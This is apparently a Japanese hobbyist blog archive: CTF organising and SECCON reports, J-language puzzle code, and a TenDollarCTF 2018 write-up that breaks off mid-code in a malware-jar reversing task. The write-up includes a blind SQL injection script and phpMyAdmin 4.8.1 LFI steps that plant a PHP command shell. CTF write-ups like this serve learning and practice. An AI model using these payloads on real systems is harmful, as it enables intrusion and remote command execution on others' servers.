 flag generatorはReversing 100ptsで、まあそんなに難しくないやつなんですが、flagをgenerateしている途中のゴミ出力に '\b'が入ってしまい、フラグ末尾の'?'が削られてしまうという問題がありました。'?'なんて微々たる差というかフラグには入ってないことも多いので、'?'のない形式で何度も提出してみるもののwrongと言われ、諦めてしまうチームが多数見られました。これはテスト時にptr-yudaiに言われてわかっていたことなんですが、その場では「straceやxxdで容易に対応できるしそれもreversingの能力の一つ」ということでそのままにしていました。だけどこれ実際に参加者がこんなクソみたいなところで躓いているのを見ると本当に辛いですね。作問者が悪いです。「ごみを出さない」「ややこしいフラグにしない」「テスト時に気がついているんだからちゃんと対処する」をしていくべきでした。

 Login / Login Reloaded はそれぞれ250点、50点のWeb問題なのですが、Loginでだけ通用する解法とLogin/Login Reloadedの両方で通用する解法があり、部分点と満点で合わせて300点という認識で出題しました。しかしLoginでだけ通用する解法と、Login Reloadedにも通用する解法はあるで別物であり、部分点と満点という対応付けが正しかったのかと言われると自信をもってそうだとは言えません。本当は Login Reloaded単体を300点で出すのが良かったんでしょうか。これはどうしたら良いのかわからなくて困っています。

その他

 企画も作問も運営もほとんど僕とptr-yudaiの二人でやってしまいました。thrust2799とyoshikingも運営のメンバーではあるんですが、何を任せればよいのかわからず……。これも反省点の一つですね。

 難易度がちょっと非高専生向けになってしまったのは悪いなと思ってます。気がついたらこうなっていた。大体ptr-yudaiが見積もりに失敗して僕もそっちの難易度に引きずられた、という感じはありますが。

 あと構想段階では「スポンサーつけたら賞品とかインフラとかのお金お小遣いから出さんでええやん!」とか思ってたのをすごい恥じてる。途中で冷静になってよかったですね。  

どうでもよいこと

 もっと高専生はCTFをやっていいと思います。参加するのも開くのも。時間と環境と熱意があるのですぐ強くなるし楽しいだろうし。少し前のDensanCTFもそうですが、このInterKosenCTFもなにかのきっかけになってくれればと思っています。

謝辞

 InterKosenCTFはinsecureのチームメイト、CTF運営という奇行に理解を示してくれた私の家族、それから参加者の皆様なくしては成り立ちませんでした。ご協力ありがとうございました。

SECCON国内大会 参加記

 毎度のことながらSECCONは解けなさすぎてwriteupではなくて参加記になります。

 今年もまたSECCON国内大会にinsecureという命名センスが飛んでいったチームで参加しました。今年もまた連携大会を通しての出場で、KOSENセキュリティコンテストでの優勝によるもので、SECCON Onlineも良いところまでは行ったのですがxor32か何かの実装を間違えていてだめでした。ゆるさないぞWikipedia(英)。チームメイトはKOSENセキュリティコンテストのまま、ptr-yudai, yoshiking, thrust2799です。

 今年のSECCONはこれまでとはいろいろ違っていて、例えば会場とかがそうですが、最も困ったのが旅費支援でした。SECCON決勝大会は今まで大変気前よく我々の交通費や宿泊費を支援してくれていたのですが、今年からは連携大会を通じての参加チームはそれがなく、各連携大会側で出すかどうかを決めてくださいということでした。この情報が公式からは中々出されなかったことと、KOSENセキュリティコンテストの運営母体であるK-SECに伝わっていなかったことでいろいろ混乱しました。K-SECにお願いしたところ、報告書の提出によって旅費を支援していただけることになったのですが、どの程度出してもらえるかなどの情報がなく困ってしまいました。困っている間に電車は埋まるしホテルは高騰するんですよね。

競技について

 今年はinsecure初の快挙として「上から数えたほうが早い順位」におさまることができました。それもなんと5位で、こんなに良い成績をおさめられて感無量です。下に順位表を貼っておきます。

f:id:Furutsuki:20181223202307p:plain

 この成績のほとんどはptr-yudaiによるものなのですが、問題の感想と私の働きについて少しだけ書いておきます。

宮島(コードゴルフ問題)

 まずこのわかりにくい名前をやめてくれ。去年も府中とかなんとかで大変ややこしかったのを憶えているぞ。

 さてこの問題はptr-yudaiが解いていました。x86-64アセンブリを書く問題で、例えば int f(int a, int b) { return a/b; } と同等である関数の機械語を提出します。実行結果が正しければAttackフラグを得られ、更に最短ならばDefense Keywordを書き込むことができます。このような問題が30分ごとに合計12問あり、それぞれのAttackFlagは50点でした。

 問題自体はさほど難しくないと言うかABCで言えばPracticeにあたる感じで、ptr-yudaiも無事550点を入手していました。ただしコードゴルフ点は1点たりとも入れられませんでした。できて最短のものと同等で、提出のタイミングも敵わず。上位チームが強すぎました。

 この問題での私の貢献は最初のAttack Flagを入れたことで、これはptr-yudaiがAttack Flagのルールを把握していなかったか、ショートコーディングに凝っていて不安になったのでAttack Flagだけでも私が提出したやつです。ショートコーディングについても意見を出しましたが、どうやっても最短よりは短くなりませんでした。

天橋立XSS HELL)

 XSS HELLでいいだろ。

 各チームがHTMLとpayloadを提出でき、サーバ側のスクリプト/?encodeURI(payload)にアクセスします。結果として alert('XSS') が実行されればその提出は受理されます。このようにして受理された問題は他チームが解けるようになっていて、他チームはpayloadに当たる部分を提出してalert('XSS')を実行させます。このようにして解かれていない問題があるチームにDefense Pointが分配される仕組みでした。

 私の貢献は主にこの問題についてで、最初はルールがわからなかったのですが他チームの提出からチーム内では最速でルールを理解しました。ルールを把握してすぐに「payloadのハッシュをとって比較して alert(XSS)呼ぶだけで誰にも解けないのでは」と思い実装にうつりました。JavaScriptは標準でハッシュ関数を用意していないらしく困った挙げ句、以下のようなものをStackOverflowから戴いてきました。ちなみにpayloadはWEAREINSECUREです。

<script type="text/javascript">  
 
function h(hoge) {
 var hash = 0, i, chr;
 if (hoge.length === 0) return hash;
 for (i = 0; i < hoge.length; i++) {
   chr   = hoge.charCodeAt(i);
   hash  = ((hash << 5) - hash) + chr;
   hash |= 0; // Convert to 32bit integer
 }
 return hash;
};
if ( h(decodeURIComponent(location.search.substr(1))) === 1952217986 ) {
 alert('XSS');

}
</script>

ところがその頃にはすでにyharimaチームのsha256スクリプトが出回っており、insecureは一歩出遅れた感じになりました。結局この問題は各チームがsha256ハッシュをやるだけになってしまいゲームバランスが崩壊、なかよくDefense Pointを1点か2点程度稼ぐだけになりました。独自の難読化をしていたのはinsecureとTeamEnuくらいだったと思うのですが、insecureのハッシュは短かったので途中で破られ、TeamEnuのスクリプトもyharimaの人が1時間くらいかけて解析したようです。私もTeamEnuのスクリプトは解けないかと思って見ていたのですが早々に諦めてしまいました。ちゃんと解析して解いたyharimaの人はすごい。

 お昼ごろまではDefense KeywordのPostが自動化できないかと思ってrequestsを書いていたのですがうまく行かず、途中から最後まではyoshikingが手作業でDefense Keywordを書き換えてくれました。

松島(ポーカー)

 ポーカーをやって、フルハウスがでるとAttack Flag 100点、4カード以上で300点+Defense Keywordが書き込み可能という問題でした。この問題に関しては私は何もしていなくて、yoshikingが遊んでいたらフルハウスがでて100pt入れたのと、公開されていたカードの分配バイナリをptr-yudaiが丁寧に解析して4カードを当てたので終わりです。

 カードのシャッフルはsrand(time(NULL))rand()で1秒ごとに行われていたので当てるのはそんなに難しくないのですが、一度はtimeの値をいじろうとしていました。私はその時にLD_PRELOADで差し替えるための共有ライブラリを書く程度のことしかしておらず、しかもそれは結局使いませんでした。

その他の貢献

 Defense Keywordをとってくるスクリプトを書きました。ブラウザからとってくるのは大変なので、その部分の動作を解析して、常に最新のフラグが得られるポートを立てました。不思議なことにこちらからリクエストをした場合に降ってくるDefense Keywordと時間経過でpushされてくるDefense Keywordが異なっており*1、これに気がつくまでは毎回WebSocketを立ててリクエストしていたので間違ったフラグをチームメイトに配ってしまっていました。反省

const fs = require('fs')
const socket = require('socket.io-client')('ws://score.ja.seccon:8000');


socket.on('connect', () => {
        socket.on('flagword', (msg) => {
                for (let t of msg['flagwords']) {
                        if (t['team_name'] == 'insecure') {
                          console.log(t['flagword']);
                          fs.writeFileSync( "flag.txt" , t['flagword'] );
                        }
                }
        });
        socket.emit('flagwords');
});
$ socat TCP-L:8888,reuseaddr,fork EXEC:"cat flag.txt"

競技についての感想

 なんと言っても5位が嬉しくて、これまでずっと負け戦だったSECCONに少しでも爪痕を残せたかなと言う感じです。毎度連携大会から出場して下位を彷徨っていたので「連携大会の制度やめた方がいいのでは」と思っていたのですが、ここからちょっと自虐要素が減りました。

 問題については国際にリソースを割かれ過ぎたのかなという感じで、CTFというよりはQuizみたいな問題ばかりが3問になってしまい非常に悲しいです。ポーカーでがちゃがちゃやっているとフルハウスのみならず4カードも割とでるのは明らかにバランスが悪かったし、XSS HELLは運営でテストプレイしたなら明らかにこれはだめでしょってなるような問題でした。うーーーん。問題数も少なくてKoH要素が小さかったので後半暇だったのも悲しい。

競技以外の感想

  • 競技中に時々アナウンスがあるんですが、そのときだけでもお隣のセミナーの音消えませんかね。アナウンス聞き取れなくて困る
  • 今年ははじめて体力が残ったので、懇親会で何も食べられない人にはならずに済みました。ローストビーフにかかっていたやつとケーキがおいしかったです。
  • yoshikingが社交性バツグンだったので、yharimaの方とかst98プロとかとお話できてとても良かったです
  • こちらが一方的に因縁をつけているチームより上位だったのも良かった

 まだなにかあったような気もしますが、とりあえず今思い出せるのはここまでです。また来年、もし参加できたなら、次は更に良い成績を目指していきたいです。とりあえず今年は良い成績が出た嬉しさ、チームメイトへの感謝をもっておしまい、来年また精進です。

*1:これはブラウザでもそうで、リロードすると古いフラグが表示されてしまいDefense Pointがはいらなかったりした

シクシク素数列アドベントカレンダー J言語編

はじめに

この記事はシクシク素数列 Advent Calendar 2018の10日目の記事です。同時に合成数列の和アドベントカレンダーの番外編記事を投稿していますのでこちらもご覧ください。

furutsuki.hatenablog.com

解答

少し長めです。空白区切りのリストをカンマ区切りにする方法に苦しんで長くなってしまいました。

#!/usr/bin/jconsole.sh
echo ([`(','&[)@.(=&' '))"0@(".^:_1)@(p:@I.@(1&=)@}.@(([,((}.@((<.@(%&10)@{.,+./@(4&=,9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)@p:)@#@}.))^:({.~:(+/@}.))^:_)) ".@>(2}ARGV)
exit ''

実行例

$ ./script.ijs 2
19,29
$ ./script.ijs 4
19,29,41,43
$ ./script.ijs 100
19,29,41,43,47,59,79,89,97,109,139,149,179,191,193,197,199,229,239,241,269,293,347,349,359,379,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,509,541,547,569,593,599,619,641,643,647,659,691,709,719,739,743,769,797,809,829,839,8...

出力が長いと途切れてしまうんですが、これの解決方法がわかりません……

解説

数字中に4, 9 が含まれるかを判定する

}.@((<.@(%&10)@{.,+./@(4&= , 9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)

(proc)^:(cond)^:_ というのが不定回ループするためのidiomで、再帰は関数単位でしか使えないのに比べて柔軟性があります。10で割っていきながら余りを見て、各桁で4か9が含まれたら1、そうでなければ0を返しています。リストを使った高度なループパターンを構築したと思ったんですが詳細を忘れました。

4949素数列を生成する

p:@I.@(1&=)@}.@(([,(}.@((<.@(%&10)@{.,+./@(4&= , 9&=)@(10&|)@{.)^:(*./@(0&~:@{.,1&~:@}.))^:_)@#@}.))^:({.~:(+/@}.))^:_)

ちょっと読めないですね……。

空白区切りをカンマ区切りに変換する

([`(','&[)@.(=&' '))"0@(".^:_1)

".^:_1 がtoStringにあたる秀逸なコードで、". が eval相当、^:_1逆関数にあたります。これどうやって実現しているんでしょう。

おわりに

スクリプト書いたの昔過ぎて何をしているのか忘れてしまいました。よくこんなの書いたと思います。

合成数列の和アドベントカレンダー番外編(J言語)

はじめに

 合成数列の和アドベントカレンダー は埋まっていたので勝手に番外編を書きます。

解答

次のようなスクリプトが解答になります。実行例もその下に載せています。

#!/usr/bin/jconsole.sh
echo +/ ((([`>:)@.(=&1@#@q:)@>:@$:@<:)`4:)@.(=&1)"0 >:@i.@".@>(2}ARGV)
exit ''
$ ./script.ijs 2
10
$ ./script.ijs 4
27
$ ./script.ijs 10
112
$ ./script.ijs 100

解説

 J言語についてはすべてが http://www.jsoftware.comにあるのでそちらを参照するか、簡単にですが日本語で説明した記事をkosen14sという組織の同人に寄稿しましたのでご覧ください(宣伝)

kosen14s.booth.pm

 さて解説ですが、何時間格闘しても良い説明を書くことができなかったので、コードの断片とその意味を書くにとどめさせていただきます。

素数判定

=&1@#@q:

 受け取った数Nが素数なのかそれとも合成数なのかを返します。q:素因数分解を行っていて、q: 100 だと返り値は 2 2 5 5 になります。

N番目の合成数を返す

(([`>:)@.(=&1@#@q:)@>:@$:@<:)`4:@.(=&1)

入力が1なら4を返し、そうでなければ入力を-1して再帰します。帰ってきた値はN-1番めの合成数なので、次の合成数を得るため+1しています。+1した結果が素数なら更に+1しています。

おわりに

この4はマジックナンバーになるんですかね。消すに消されずという感じではあります

TenDollarCTF 2018 writeup

 2018/11/24 9:00〜2018/11/25 15:00の期間にTenDollar CTF(tendollar.kr)に参加していました。このCTFは個人戦&招待制という色の強いCTFです。なんでこうしてるんだろう。ともかく、st98プロにinvitation codeをもらってzer0ptsとして参加しました。

 点数が解いた人数で変動するタイプのCTFで、結果は2500点で14位。もう一問解けたらTop10に入れそう、というところなので少し悔しさが残ります。Pwnに挑戦すらしていないのとか、Webわからんくて投げるのとかが悪そうで、一人でやるCTFはバランスよく解いて回るか、PwnかWebを全完する勢いで解き尽くすかできないとパフォーマンスがでない印象です。

 なんにせよ以下writeupです。


[Misc 150] Ping! Ping! Ping!

 18Solves あるので簡単な問題といえます。配点の減り方は 1000 - (18 - 1) * 50 だと思う。pcapファイルが渡されて、中身はICMP echoのrequest/replyがずらりと並んでいるだけでした。Wiresharkで雑にパケットの中身を眺めていると、requestの方のデータ部に"PK"などの文字が見えます。ひとまずこれを抽出することにしました。

 こういう場合はtsharkを使うのが楽だと学習しているので、tsharkを使いました。必ず使い方を忘れるのですが、過去記事をたどれば良いことを憶えているのでそんなに大きなロスになりません。ブログをちゃんと備忘録として使えていて偉いと思う。

$ tshark -r ping_ping_ping.pcapng -Y 'ip.dst eq 10.211.55.6' -Tfields -e data.data > packet.data
$ head -3 packet.data
50:4b:03:04:14:00:06:00:08:00:00:00:21:00:df:a4:d2:6c:5a:01:00:00:20:05:00:00:13:00:08:02:5b:43:6f:6e:74:65:6e:74:5f:54:79:70:65:73:5d:2e:78:6d:6c:20:a2:04:02:28:a0:00
02:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00

 これをバイナリに直します。こういうのpythonよりも楽なワンライナーがありそう。

lines = open("packet.data", "r").read().split("\n")
data = []
for l in lines:
    if len(l) == 0:
        continue
    bs = l.split(":")
    for b in bs:
        data.append(chr(int(b, 16)))
open("raw", "wb").write("".join(data))

 変換後のファイルrawfileコマンドにかけると、Microsoft Word 2007+という結果が出たのでLibre Writerで開くとフラグが書いてありました。 TDCTF{Do_you_know_about_the_icmp_protocol?}

 ボーナス問題っぽい。

[Web 450]Linked List 1

 この問題がここまで解かれていないのにはちょっと首を傾げる、そのくらい簡単な問題です。LinkedListを操作できるPHPページの問題で、最初に名前を登録してsessionを開始します。ソースコードが配られているのですが、該当部分はこんな感じ。こんなに@を使ってるPHPのコードを見たのははじめてです。set_ini(display_errors, 0);で十分だと思うのですが、なんでだろう。あと配られたソースコードtemplatesが空っぽだったのはなんなんでしょうね。

if (@$_POST['name']) {
    @$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time());
    @die("<script type='text/javascript'>location.href='.';</script>");
}

 このサービスはフラグを2つ持っていて、もう一つはLinked List 2なわけですが、1のフラグを吐く箇所はこんな感じです。

if (@$_SESSION['link']['admin_only_list']) {
    unset($_SESSION['link']);
    die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>");
    ...
}

Listへのinsert時にこういう↓コードがあるので、ユーザ名をadmin_onlyにして開始するだけでフラグが得られます。

if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {
    ...
    @$arr[0] = @htmlspecialchars(@$_GET['value']);
    @$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
    @die("<script type='text/javascript'>location.href='.';</script>");
}

TDCTF{easy_7o_solve123}

[Web 250]I'm Blind Not Deaf

 逆にこちらは解かれすぎの印象。前半のSolved数は少なかったんですが、寝て起きたら急にSolved数が増えていた。私も寝るまで粘って何故か解けずをしていたのが起きたら解けたという一人ですが。

 2ステージある問題で、最初はBlind SQL Injection。こういうソースコードが渡されます。GETパラメタとしてpwを渡すとSQL Injectionができるので、rootのパスワードを抜けという感じ。2行目のpreg_matchが寝ているので(最初の/がない)、and or substr = にだけ気をつければ良さそう(substrのチェックって substr ( みたいなので回避できるんですかね)。rootが最初の要素として得られるクエリを作れればページにHello rootと表示してくれるので、これがあるかで判定するBlind SQL Injectionになります。

<?php
include './config.php';
if(preg_match('tdf|/_|\.|\(\)/i', $_GET[pw])) exit("No Hack Please~! -0-"); 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("Manner Please~! :) :)"); 
$query = "select id from tdf where id='root' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if($row['id'] == 'root'){
#echo "<h2>Nice Meet You! {$row['id']}</h2>";
echo "<h2>Hello {$row[id]}</h2>";
}
 
$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from tdf where id='root' and pw='{$_GET[pw]}'"; 
$result = mysqli_query($conn,$query);
$row = mysqli_fetch_array($result);
if(($row['pw']) && ($row['pw'] == $_GET['pw'])){
echo $nice_tendollar;
}
highlight_file(__FILE__); 
?>

 私が作ったクエリはこんな感じ' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'aで、like句を使ってパスワードを1文字ずつ当てに行きます。スクリプトも書きましたが、Blind SQL Injectionをやる機会は多いのでそろそろテンプレート化したい。

import requests
import string

BASE = "http://blind.tendollar.kr:8100/"
pw="' UNION SELECT 'root' from tdf where (select 'b' from tdf where pw like '{}%') > 'a"

table = string.ascii_letters + '0987654321{}_-' 
a = ""
while True:
    f = False
    for c in table:
        payload = pw.format(a + c)
        r = requests.get(BASE, params={'pw': payload})

        if "Hello root" in r.text:
            f = True
            a += c
            print(a)
            break
    if not f:
        print(a)
        break

 得られたpwの値は70801f6aで、こんなに数字が多いと知っていればtableの配置を工夫できたのになという感じです。これを入力すると、echo $nice_tendollar;が実行されます。中身にflag.txtとあるのであとでめちゃめちゃflag.txtを探し回るんですが、困り果てた挙げ句運営にDMしたら、別にflag.txtにフラグがあるわけではないとのこと。あとで注意書きも加えられてしまったしちょっとださかった。

Congraturation!!!!
Next Question: LFI(Local File Inclusion) in phpMyAdmin 4.8.0~4.8.1...
URL:phpmyadmin/index.php......... flag.txt
root's password:@1@2@3@4qwerasdf

 とにかく、PHPMyAdminが立っているらしいのでログインします。問題の指示に従って"phpmyadmin 4.8.1 lfi"などで検索すると、簡単に情報が見つかります。たとえばこれですね。

 これの手順に沿ってなんどもやってうまく行かなかったんですが、諦めて翌朝やってみたら通りました。手順としては、

  1. PHPMyAdminSQLクエリを実行できるところでselect '<?php phpinfo(); exit();?>'する。phpinfoは脆弱性が動くかどうか確認するためにやるだけで、このあとはselect '<?php passthru($_GET["q"]); exit();?>'とします。
  2. cookieから、KeyがphpMyAdminとなっているものの値をコピーする。
  3. http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/sess_<cookieの値>&q=ls / にアクセスするとsessionファイルがincludeされてPHPが実行される。

 という感じです。これをやると、FLLLLLL4444444GGGGGGというファイルが見つかるのでcatします。謎に嵌って時間を取られた。確かに /tmp/sess_*も試していたはずなんですが……

TDCTF{F_cong_L_gra_A_tu_G_ration}

[Misc 700]Remember

 高配点のMiscになりました。Hintが出るまで手も足も出なかった。謎の画像が配られます。なんかお兄さんたちが楽しそうに写真に写っています。楽しそう。このファイル(challenge.png)、stegsolveなんかにかけても何も得られないんですが、pngcheckをかけるとadditional data after IEND chunkと言われます。しかしbinwalkではそのようなものが見つからず、かなり試行錯誤した末の投げやりなforemostが当たりました。

 foremostによって抽出されたファイルを見てみると、challenge.pngと同じ画像ともうひとつ、またお兄さんたちが楽しそうにしている別の写真がでてきます。つながってたのかな。こちらはstegsolveにかけてみると、Alpha Bitsが明らかに怪しい感じです。左端の方だけごみごみとしていました。

 この頃にはすでにHintとして昨年のwriteupが紹介されていたので、このスクリプトをそのまま使いました。するとalpha bitsからzipが復元されました。

 このあと復元したzipのパスワードがわからずJohn the Ripperなどを使って盛大に悩むんですが、ちゃんとwriteupを読めという話で、昨年の問題ではパスワード付きzipのパスワードbitを寝かせてやるとそれだけでunzipできるよ! と書いてありました。時々ありますがこれはあんまり好きじゃない。この寝かせるのをやりやすいツールがあると良いんですが知らないので、pythonを使ってzipファイルのバイナリを編集しました。小さいファイルなので雑にやってもうまく行きます。

a = open("dec_challenge.zip", "rb").read()
x = a.find("PK\x03\x04")
y = a.find("PK\x01\x02")

b = list(a)
b[x+4+2] = "\x00"
b[y+4+2+2] = "\x00"

open("tako.zip", "wb").write("".join(b))

 これでzipファイルの中にあったnice_try.txtが抽出できました。中身はBrainF*ckなのでインタプリタにかけました。

-[--->+<]>-.[----->+<]>.-.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[->+++<]>.-----.------.++.------.++.+++++++++++++.----------.-----.++++++.----.--[--->+<]>--.++++++.[->+++++<]>++.[--->+<]>-.-----.+[----->++<]>-.+++++++++.+.-----.+.------.++++++++++++++.--------.[--->+<]>----..++[->+++<]>++.++++++.--.>--[-->+++<]>.

TDCTF{nice_and_easy_to_hide_message}

[Rev 950] InterMutation

私を入れて2人しか解いていないので950点と高配点の問題です。FirstBloodを頂いて、終了1時間前くらいまではずっと私が点数を独占していた問題なので、欲を言うと最後まで解かれてほしくなかった。いろいろやったので手順前後などがあるかもしれませんが、記憶を頼りにwriteupしていきます。

 ENCRYPT_KEYがFlagだという文言とともにmalware.zipという物騒なファイルが渡され、unzipするとmalware.jarという物騒なファイルが出てきます。jar -xf malware.jarとして展開します。com/intermutation/inweavedcom/intermutation/thoracaortaというディレクトリにないにhogehoge.xxxのようなファイルがばらまかれますが、jarファイルのお決まりに反して、殆どはclassファイルではありません。

 唯一のclassファイルであったAlmighty.classデコンパイルします。最近はcfrというデコンパイラを使っています。Almightly.classをデコンパイルすると、次のような感じで、Javaによって作られたJavaScriptエンジンを呼び出しているようです。

/*
 * Decompiled with CFR 0.135.
 */
package com.intermutation.thoracaorta;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Almighty {
    public static ScriptEngine madrones;

    public static void main(String[] arrstring) throws Throwable {
        madrones = new ScriptEngineManager().getEngineByName("javascript");
        madrones.eval("IIIIIIIIIIIIIIIIIiIIIiIiiIiiIIII = java.lang.Byte[('TYPE')]; IIIIIIIIIIIIIIIIIIIiiiIIiiiIIIII=('q'+'ua.e'+'nter'+'prise.re'+'aqto'+'r'+'.'+'r'+'eaqtion'+'s.stan'+'dart'+'bootst'+'rap.Hea'+'der'); Iiiiii

 がんばってJS部分をbeautifyすると、次のようになりました。

stdbootstrap = 'qua.enterprise.reaqtor.reaqtions.standardbootstrap.Header';
almightly = java.lang.Class['forName']('com.intermutation.thoracaorta.Almighty');
classLoader = almightly.getClassLoader();

f = function() {
    byteArray = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, [5301, 5312, 5301, 5301]);
    resource = almightly.getResource('/com/intermutation/thoracaorta/Femurs.toy');
    stream = resource.openStream();
    inputStream = new java.io.DataInputStream(stream);
    inputStream.readFully(byteArray);
    aesCipher = javax.crypto.Cipher.getInstance('AES');
    secretKey = 'nPFTbER4KORr6vbf'.getBytes('UTF-8');
    key = new javax.crypto.spec.SecretKeySpec(secretKey, ('AES'));
    aesCipher.init(javax.crypto.Cipher.DECRYPT_MODE, key);
    decrypted = aesCipher.doFinal(byteArray);
    classLoader = java.lang.ClassLoader.class;
    stringClass = java.lang.String.class;
    decryptedClass = decrypted.getClass();
    integerType = java.lang.Integer.TYPE;
    defineClass = classLoader.getDeclaredMethod('defineClass', stringClass, decryptedClass, integerType, integerType);
    defineClass.setAccessible(true);
    qua = defineClass.invoke(classLoader, 'qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header', decrypted, 0, decrypted.length);
    hoge = qua;
};
f();
hoge.newInstance();

 雑な理解によれば、/com/intermutation/thoracaorta/Femurs.toyというファイルを読み込んできて復号しています。AESの鍵も埋まっていて、まさかそんなと思いながらTDCTF{nPFTbER4KORr6vbf}をSubmitしましたが当然はずれでした。復号してきたファイルがとあるクラスのByte列らしく、defineClassでクラス(かオブジェクト、よくわからない)に無理やりキャストして、そのあとnewInstanceを呼んでいるようです。

 この処理にしたがってFemrus.toyデコンパイルします。こういうJavaを書きました。

import java.security.AlgorithmParameters;
import java.security.Key;
import java.security.SecureRandom;
import java.lang.reflect.Method;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.spec.SecretKeySpec;
import java.io.RandomAccessFile;

class Hoge {
        public static void main(String[] args) throws Exception {
                byte[] secretKey = "nPFTbER4KORr6vbf".getBytes("UTF-8");

                RandomAccessFile f = new RandomAccessFile("com/intermutation/thoracaorta/Femurs.toy", "r");
                byte[] b = new byte[(int)f.length()];
                f.readFully(b);

                SecretKeySpec key = new javax.crypto.spec.SecretKeySpec(secretKey, "AES");
                Cipher cipher = Cipher.getInstance("AES");
                cipher.init(Cipher.DECRYPT_MODE, key);
                byte[] bytes = cipher.doFinal(b);

                System.out.println(bytes.toString());

                ClassLoader loader = new ClassLoader() {};
                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
                                                                 String.class,
                                                                 byte[].class, 
                                                                 int.class, 
                                                                 int.class, 
                                                                 ProtectionDomain.class);
                defineClass.setAccessible(true);
                Class<?> c = (Class<?>) defineClass.invoke(loader, "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header", bytes, 0, bytes.length, null);


                // System.out.println(c.getName());
                // System.out.println(c.getClassLoader());
                // System.out.println("----");


                // Field[] allFields = c.getClass().getDeclaredFields();
                // for (Field field : allFields) {
                //         System.out.println(field.getType().getTypeName()+":"+field.getName());
                // }
                // System.out.println("----");

                // Method[] allMethods = c.getClass().getDeclaredMethods();
                // for (Method method : allMethods) {
                //         System.out.println(method.getName());
                // }
        }
}

 コメントアウト部分は頑張ってクラスを解析しようとしていた形跡です。結局うまく行かないしinvokeも失敗したので、復号後のバイト列をHeader.classみたいなファイルにリダイレクトしてcfrデコンパイルしました。多分いろいろ手を加えたやつですが、Header.javaはこんな感じです。

/*
 * Decompiled with CFR 0.135.
 * 
 * Could not load the following classes:
 *  qua.enterprise.reaqtor.reaqtions.standartbootstrap.Header
 */

import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Method;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.security.ProtectionDomain;
import java.util.Map;
import java.util.zip.GZIPInputStream;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

/*
 * Exception performing whole class analysis ignored.
 */
public class Header
extends ClassLoader {
    private static String obfuscationAppendix = "73x30fawybwxf1zp6cwa4oSJzrLPtfhypaNvW8zxtFltfr5S6dUcfur1ns7FB7OxacWawrjXZ70ZyFIYPPaxHKGtGrB7GHSFhEB9vWiVReTmTLjuZuG9vOQTZUatLOUH4lViamFxTvEBMcjvI68zeH5p3G3rYVA14PVnaU3gF4mId0RIbbip5U9J7oWVVQ44GZIBCDWo0FAoYYAC6vLeRuxon2Vr2iQ47XyAAMZ5kdRmWrmFeuwuIE9ihQ0hIcoakhrl3dkgmq0T4to76qRnD0cYCyqO41D2y1YlprCdVxxYV1ezJFTaAjI3xMnIsyc2QYkQIoRqNv8d8AWvwcenS29Kao1EkfmtXbVehX0VT0qscqTUZmtgUre22X4xRH5G4WrZ5djt2t1quIt5Q1NcZNuaNsAMaXUOX5pHo";
    private static String firstClassName = "com.intermutation.thoracaorta.Almighty";
    private static Class firstClass;
    private static ProtectionDomain firstClassProtectionDomain;
    public static String CAT_bootstrap;
    public static String CAT_obfuscated;
    public static final String[] predefinedClassNamesToBeLoaded;
    private static Map<String, Object[]> obfuscatedEntryList;

    public Header() throws Exception {
        super(Header.class.getClassLoader());
        obfuscatedEntryList = (Map)Header.decryptObject((String)"#", (Object[])new Object[]{new String[]{".encrypted", ".splitted", ".compressed", ".not-fixed"}, new String[]{"com/intermutation/inweaved/Piny.bbl", "com/intermutation/thoracaorta/Bastard.fiz", "com/intermutation/inweaved/Crankless.civ", "com/intermutation/thoracaorta/Sapphists.cuj", "com/intermutation/thoracaorta/Precancelled.rom"}, new int[]{13521, 3120, 3106, 13521}, "qcNVmpvc37PZYmB2"});
        String[] arrstring = new String[]{"qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1$1", "qua.enterprise.reaqtor.reaqtions.standartbootstrap.Loader$1"};
        String string = "qua.enterprise.reaqtor.reaqtions.standartbootstrap";
        String string2 = string + '.' + predefinedClassNamesToBeLoaded[0];
        Class class_ = null;
        Class[] arrclass = new Class[arrstring.length];
        int n = 0;
        for (String object : arrstring) {
            byte[] arrby = Header.decrypt((String)object, (Object[])Header.getEntryData((String)CAT_bootstrap, (String)object));
            int n2 = n++;
            // System.out.println(object);
            // try (FileOutputStream fos = new FileOutputStream("" + n2 + ".class")) {
            //         fos.write(arrby);
            // }

